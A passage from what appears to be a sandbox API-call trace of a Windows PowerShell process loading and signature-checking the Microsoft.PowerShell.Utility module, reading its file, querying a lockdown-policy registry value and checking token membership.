lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x59 [0183.183] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x59, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility", lpFilePart=0x0) returned 0x58 [0183.183] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599d524) returned 1 [0183.183] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.commands.utility"), fInfoLevelId=0x0, lpFileInformation=0x599d7e8 | out: lpFileInformation=0x599d7e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0183.183] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599d520) returned 1 [0183.189] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.commands.utility\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0184.063] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9a [0184.063] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x9a, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x99 [0184.064] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9a [0184.064] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x9a, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x99 [0184.108] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9a [0184.108] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x9a, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x99 [0186.072] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1")) returned 0x20 [0186.072] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0186.072] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0186.072] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x599d548, Length=0x20, ResultLength=0x599d5b8 | out: SystemInformation=0x599d548, ResultLength=0x599d5b8*=0x0) returned 0xc0000003 [0186.073] GetSystemInfo (in: lpSystemInfo=0x599d5c4 | out: lpSystemInfo=0x599d5c4*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0186.073] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x599d554 | out: phkResult=0x599d554*=0x25c) returned 0x0 [0186.073] RegQueryValueExW (in: hKey=0x25c, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x599d570, lpData=0x0, lpcbData=0x599d56c*=0x0 | out: lpType=0x599d570*=0x0, lpData=0x0, lpcbData=0x599d56c*=0x0) returned 0x2 [0186.073] RegCloseKey (hKey=0x25c) returned 0x0 [0186.073] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0186.074] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0186.074] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599d2f8) returned 1 [0186.074] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x259b1b4 | out: lpFileInformation=0x259b1b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778)) returned 1 [0186.074] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599d2f4) returned 1 [0186.074] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0186.074] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0186.074] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599d2b8) returned 1 [0186.074] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x599d57c | out: lpFileInformation=0x599d57c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778)) returned 1 [0186.075] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599d2b4) returned 1 [0186.075] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0186.075] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0186.075] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0186.075] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0186.075] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599d24c) returned 1 [0186.075] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x599d510 | out: lpFileInformation=0x599d510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778)) returned 1 [0186.075] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599d248) returned 1 [0186.075] CoTaskMemAlloc (cb=0x10) returned 0x36a548 [0186.075] CoTaskMemAlloc (cb=0x10) returned 0x36a560 [0186.075] CoTaskMemAlloc (cb=0xe4) returned 0x3c4318 [0186.076] CoTaskMemAlloc (cb=0x30) returned 0x3af2b0 [0186.076] WinVerifyTrust () returned 0x800b0100 [0186.091] CoTaskMemFree (pv=0x36a548) [0186.091] CoTaskMemFree (pv=0x3af2b0) [0186.092] CryptCATHandleFromStore () returned 0x370eb0 [0186.092] WTHelperGetProvSignerFromChain () returned 0x0 [0186.092] CoTaskMemAlloc (cb=0x10) returned 0x36a548 [0186.092] CoTaskMemAlloc (cb=0x30) returned 0x3af2b0 [0186.092] WinVerifyTrust () returned 0x0 [0186.092] CoTaskMemFree (pv=0x3af2b0) [0186.092] CoTaskMemFree (pv=0x36a548) [0186.092] CoTaskMemFree (pv=0x3c4318) [0186.092] CoTaskMemFree (pv=0x36a560) [0186.092] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0186.092] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0186.092] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599d504) returned 1 [0186.093] CreateFileW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x25c [0186.093] GetFileType (hFile=0x25c) returned 0x1 [0186.093] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599d500) returned 1 [0186.093] GetFileType (hFile=0x25c) returned 0x1 [0186.093] SetFilePointer (in: hFile=0x25c, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d540*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d540*=0) returned 0x0 [0186.093] ReadFile (in: hFile=0x25c, lpBuffer=0x259c9c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d56c, lpOverlapped=0x0 | out: lpBuffer=0x259c9c8*, lpNumberOfBytesRead=0x599d56c*=0x1000, lpOverlapped=0x0) returned 1 [0186.094] SetFilePointer (in: hFile=0x25c, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d540*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d540*=0) returned 0x1000 [0186.094] ReadFile (in: hFile=0x25c, lpBuffer=0x259c9c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d56c, lpOverlapped=0x0 | out: lpBuffer=0x259c9c8*, lpNumberOfBytesRead=0x599d56c*=0x1000, lpOverlapped=0x0) returned 1 [0186.094] SetFilePointer (in: hFile=0x25c, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d540*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d540*=0) returned 0x2000 [0186.094] ReadFile (in: hFile=0x25c, lpBuffer=0x259c9c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d56c, lpOverlapped=0x0 | out: lpBuffer=0x259c9c8*, lpNumberOfBytesRead=0x599d56c*=0x1000, lpOverlapped=0x0) returned 1 [0186.095] SetFilePointer (in: hFile=0x25c, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d540*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d540*=0) returned 0x3000 [0186.095] ReadFile (in: hFile=0x25c, lpBuffer=0x259c9c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d56c, lpOverlapped=0x0 | out: lpBuffer=0x259c9c8*, lpNumberOfBytesRead=0x599d56c*=0x1000, lpOverlapped=0x0) returned 1 [0186.095] SetFilePointer (in: hFile=0x25c, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d540*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d540*=0) returned 0x4000 [0186.095] ReadFile (in: hFile=0x25c, lpBuffer=0x259c9c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d56c, lpOverlapped=0x0 | out: lpBuffer=0x259c9c8*, lpNumberOfBytesRead=0x599d56c*=0x1000, lpOverlapped=0x0) returned 1 [0186.095] SetFilePointer (in: hFile=0x25c, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d540*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d540*=0) returned 0x5000 [0186.095] ReadFile (in: hFile=0x25c, lpBuffer=0x259c9c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d56c, lpOverlapped=0x0 | out: lpBuffer=0x259c9c8*, lpNumberOfBytesRead=0x599d56c*=0x1000, lpOverlapped=0x0) returned 1 [0186.096] SetFilePointer (in: hFile=0x25c, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d540*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d540*=0) returned 0x6000 [0186.096] ReadFile (in: hFile=0x25c, lpBuffer=0x259c9c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d56c, lpOverlapped=0x0 | out: lpBuffer=0x259c9c8*, lpNumberOfBytesRead=0x599d56c*=0x1000, lpOverlapped=0x0) returned 1 [0186.096] SetFilePointer (in: hFile=0x25c, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d540*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d540*=0) returned 0x7000 [0186.096] ReadFile (in: hFile=0x25c, lpBuffer=0x259c9c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d56c, lpOverlapped=0x0 | out: lpBuffer=0x259c9c8*, lpNumberOfBytesRead=0x599d56c*=0x778, lpOverlapped=0x0) returned 1 [0186.096] SetFilePointer (in: hFile=0x25c, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d540*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d540*=0) returned 0x7778 [0186.096] ReadFile (in: hFile=0x25c, lpBuffer=0x259c0e0, nNumberOfBytesToRead=0x88, lpNumberOfBytesRead=0x599d56c, lpOverlapped=0x0 | out: lpBuffer=0x259c0e0*, lpNumberOfBytesRead=0x599d56c*=0x0, lpOverlapped=0x0) returned 1 [0186.096] SetFilePointer (in: hFile=0x25c, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d540*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d540*=0) returned 0x7778 [0186.096] ReadFile (in: hFile=0x25c, lpBuffer=0x259c9c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d56c, lpOverlapped=0x0 | out: lpBuffer=0x259c9c8*, lpNumberOfBytesRead=0x599d56c*=0x0, lpOverlapped=0x0) returned 1 [0186.097] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x599d4d4, Length=0x20, ResultLength=0x599d544 | out: SystemInformation=0x599d4d4, ResultLength=0x599d544*=0x0) returned 0xc0000003 [0186.097] GetSystemInfo (in: lpSystemInfo=0x599d550 | out: lpSystemInfo=0x599d550*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0186.097] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x599d4e0 | out: phkResult=0x599d4e0*=0x254) returned 0x0 [0186.097] RegQueryValueExW (in: hKey=0x254, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x599d4fc, lpData=0x0, lpcbData=0x599d4f8*=0x0 | out: lpType=0x599d4fc*=0x0, lpData=0x0, lpcbData=0x599d4f8*=0x0) returned 0x2 [0186.098] RegCloseKey (hKey=0x254) returned 0x0 [0186.098] CloseHandle (hObject=0x25c) returned 1 [0187.596] CoCreateGuid (in: pguid=0x599d614 | out: pguid=0x599d614*(Data1=0xaad93086, Data2=0xd346, Data3=0x4063, Data4=([0]=0x8d, [1]=0xf5, [2]=0x62, [3]=0xe5, [4]=0x77, [5]=0x24, [6]=0xfd, [7]=0x24))) returned 0x0 [0187.596] GetCurrentProcess () returned 0xffffffff [0187.597] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x599d5e0 | out: TokenHandle=0x599d5e0*=0x258) returned 1 [0187.597] GetTokenInformation (in: TokenHandle=0x258, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x599d5e0 | out: TokenInformation=0x0, ReturnLength=0x599d5e0) returned 0 [0187.598] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x3fea30 [0187.598] GetTokenInformation (in: TokenHandle=0x258, TokenInformationClass=0x8, TokenInformation=0x3fea30, TokenInformationLength=0x4, ReturnLength=0x599d5e0 | out: TokenInformation=0x3fea30, ReturnLength=0x599d5e0) returned 1 [0187.598] LocalFree (hMem=0x3fea30) returned 0x0 [0187.598] DuplicateTokenEx (in: hExistingToken=0x258, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x599d5e8 | out: phNewToken=0x599d5e8*=0x25c) returned 1 [0187.598] CheckTokenMembership (in: TokenHandle=0x25c, SidToCheck=0x24a5744*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x599d5f8 | out: IsMember=0x599d5f8) returned 1 [0187.599] CloseHandle (hObject=0x25c) returned 1 [0187.605] QueryPerformanceCounter (in: lpPerformanceCount=0x599d384 | out: lpPerformanceCount=0x599d384*=1261862797227) returned 1 [0187.605] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0187.605] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0187.605] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599d070) returned 1 [0187.605] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x599d334 | out: lpFileInformation=0x599d334*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778)) returned 1 [0187.703] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599d06c) returned 1 [0187.703] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0187.703] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0187.703] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0187.703] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0187.703] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599d004) returned 1 [0187.703] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x599d2c8 | out: lpFileInformation=0x599d2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778)) returned 1 [0187.703] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599d000) returned 1 [0187.704] CoTaskMemAlloc (cb=0x10) returned 0x36a578 [0187.704] CoTaskMemAlloc (cb=0x10) returned 0x36a548 [0187.704] CoTaskMemAlloc (cb=0xe4) returned 0x3c4318 [0187.704] CoTaskMemAlloc (cb=0x30) returned 0x3d68c0 [0187.704] WinVerifyTrust () returned 0x800b0100 [0187.723] CoTaskMemFree (pv=0x36a578) [0187.723] CoTaskMemFree (pv=0x3d68c0) [0187.723] CryptCATHandleFromStore () returned 0x370f40 [0187.723] WTHelperGetProvSignerFromChain () returned 0x0 [0187.723] CoTaskMemAlloc (cb=0x10) returned 0x36a578 [0187.723] CoTaskMemAlloc (cb=0x30) returned 0x3d68c0 [0187.723] WinVerifyTrust () returned 0x0 [0187.724] CoTaskMemFree (pv=0x3d68c0) [0187.724] CoTaskMemFree (pv=0x36a578) [0187.724] CoTaskMemFree (pv=0x3c4318) [0187.724] CoTaskMemFree (pv=0x36a548) [0187.733] CoCreateGuid (in: pguid=0x599d260 | out: pguid=0x599d260*(Data1=0x61f1b0e2, Data2=0xaf8d, Data3=0x4148, Data4=([0]=0xb8, [1]=0x15, [2]=0xa0, [3]=0x9e, [4]=0x63, [5]=0x3e, [6]=0x43, [7]=0x39))) returned 0x0 [0187.734] CoCreateGuid (in: pguid=0x599d260 | out: 